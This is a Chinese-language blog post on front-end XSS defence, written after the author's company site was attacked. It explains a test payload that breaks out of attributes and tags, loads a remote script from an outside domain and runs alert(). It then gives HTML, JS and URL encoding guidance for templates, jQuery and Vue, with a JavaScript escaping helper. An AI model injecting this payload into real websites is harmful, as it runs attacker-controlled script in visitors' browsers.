摘要 今天小编跟大家讲解下有关前端安全之xss攻击 ，相信小伙伴们对这个话题应该有所关注吧，小编也收集到了有关前端安全之xss攻击 的相关资料

今天小编跟大家讲解下有关前端安全之xss攻击 ，相信小伙伴们对这个话题应该有所关注吧，小编也收集到了有关前端安全之xss攻击 的相关资料，希望小伙伴们看了有所帮助。

前段时间公司网页被 xss 搞了一下 微信把域名封了 通宵搞了好几天。这两天把公司好几年来的代码都改了一遍 这工作丧心病狂。

什么是 xss

XSS 攻击指通过巧妙的方法注入恶意指令代码到网页 使用户加载并执行攻击者恶意制造的代码。

危害有什么 跳转到广告页面 页面注入广告等等。导致公司域名被其他平台拉黑 从而使业务受损。用户的财产受到威胁 他注入的代码可以在网页中任意请求接口。注入代码http://upcdn"'></script><scriptsrc="https://www.lilnong.top/xss.js"></script><script>alert(12306)</script><svg></svg>\n\t\n

上面的代码是我们测试的时候使用的 接下来我们来分析一下这个代码主要用途。

http://upcdn这个字符串是用来伪装的。

<img src="http://www.aidi.net.cn/article/detial/8192/${str}">动态拼接图片地址<a href="http://www.aidi.net.cn/article/detial/8192/${str}">动态跳转页面地址

"'>这两个就是为了截断当前字符串 然后闭合标签。

<img src="http://www.aidi.net.cn/article/detial/8192/${str}">

</script>也是为了闭合标签 这个主要用在后台模板输出的时候。后台模板 velocity、freemarker 之类的。

<script>var imgUrl = ${str}</script><script src="https://www.lilnong.top/xss.js"></script>就是引入一个js 这种方式比较常见。注入之后 攻击者只需要修改自己的文件 就可以更新了。<script>alert(12306)</script>直接执行js代码<svg></svg>注入一个元素 用于展示一个异常块打乱布局。比如vue中的v-html不会执行script标签中的内容 但是会显示svg图片。\n\t\n是为了测试后台模板输出的场景。防护场景及方案后台模板

tohtml主要用于输出在页面（标签中）中 将用户输入的内容进行编码比如<转换为&lt;。

<span>${nickanme}</span>tojs主要用于输出在script标签中 这里需要防止打断js 比如处理成"'\n为\"\'\\n

toUrl这里其实和tohtml场景很像 但是需要判断url基础格式。

https:////lilnong.top/static./static../staticjquery&原生jstohtml 场景。jquery中基本上都是拼接一下 然后.html输出一下。这里需要做的也是把用户输入的做一下实体编码转换。toUrl 场景。校验一下url 然后tohtml或者encode都可以。vuetohtml 场景。v-html这里需要注意一下 尽可能不要使用 因为会导致注入问题。也可以tohtml一下 但是没必要不是吗。toUrl 场景。:href主要JavaScript:alert(1);这种场景 做url校验就可以。tohtml 场景。使用原生的方法 vue 中非要innerHTML的那些人。常见问题富文本场景做文章那种 大量的标签 属性。这种一般需要后端处理。HTML Purifier文字加表情 后者搜索高亮的场景。这种我们可以先执行toHtml 然后再匹配替换 最后在输出到页面即可。换行符问题

有时我们在textarea中输入\n 渲染的时候空白符就被浏览器给吃了。针对这种情况 我们可以用下面的方案处理

通过 css 属性white-space 或者<pre>标签一般人们是正则替换.replace(/\n/g,'<br>) 这种输出的时候万一里面有代码不就凉了吗。所以我们先 toHtml 然后在使用 这样可以防止注入问题。其实.innerText可以自动把\n转换为<br> 你可以自己试试代码实现window.base = { toHtml: function (val) { if( typeof val != 'string' ) return ''; var entityMap = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': '&quot;', "'": '&#39;', "/": '&#x2F;' }; return String(val).replace(/[&<>"'\/]/g, function (s) { return entityMap[s]; }); }, toUrl: function (url) { if( typeof url != 'string' ) return '#'; if(url.match(/^http/i)){ return encodeURI(url) } return '#' },};

来源：爱蒂网